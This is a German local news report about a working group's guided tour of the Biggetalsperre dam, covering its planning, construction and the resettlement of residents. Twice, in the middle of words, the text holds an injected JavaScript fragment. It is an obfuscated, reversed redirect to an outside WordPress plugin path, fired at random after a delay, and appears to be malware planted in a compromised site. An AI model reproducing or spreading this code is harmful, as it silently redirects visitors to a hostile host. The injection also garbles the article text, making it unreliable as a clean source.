Arbeitsgruppe „WIR“ besichtigte Biggedamm
Im Namen des Ruhrverbandes und der Stadt Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn begrüßte Jürgen Gietmann die Teilnehmer der Arbeitsgruppe „WIR“ und einige interessierte Ehefrauen am Besucherpavillon unterhalb des Leuchtturms.
Zum Auftakt der Führung gab es in einem kurzweiligen Vortrag viele Informationen über die Biggetalsperre. So begannen die ersten Planungen zum Bau bereits im Jahre 1938. Wegen des zweiten Weltkrieges wurde das Projekt aber zunächst zurückgestellt. Nachdem der Landtag des Landes Nordrhein-Westfalen im Jahre 1956 ein Gesetz zur Finanzierung des Bauvorhabens verabschiedete konnte 1957 mit dem Bau begonnen werden. 1965 wurde die Biggetalsperre gestaut.
Der Bau war für die damalige Zeit eine hohe technische Herausforderung, aber auch ein erheblicher Eingriff in die Natur. Es mussten 2.500 Menschen in neu entstandene Orte umgesiedelt werden. Jürgen Gietmann verstand es immer wieder, durch kleine Anektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doten die Aufmerksamkeit seiner Zuhörer zu erhalten. So war es z.B. beruhigend zu erfahren, dass mit der Wassermenge der Biggetalsperre der gesamte deutsche Bierverbrauch für 19,5 Jahre gesichert werden kann. Dem Vortrag schloss sich eine kurze Filmvorführung an.
Danach konnten die Teilnehmer einen Blick in die Stollen des Staudamms werfen. Auch das Grundablassbauwerk und der Hochwasserentlastungsturm konnten aus der Nähe betrachtet werden.
Alle Teilnehmer bedanken sich bei Jürgen Gietmann für die wirklich sehr interessante Führung.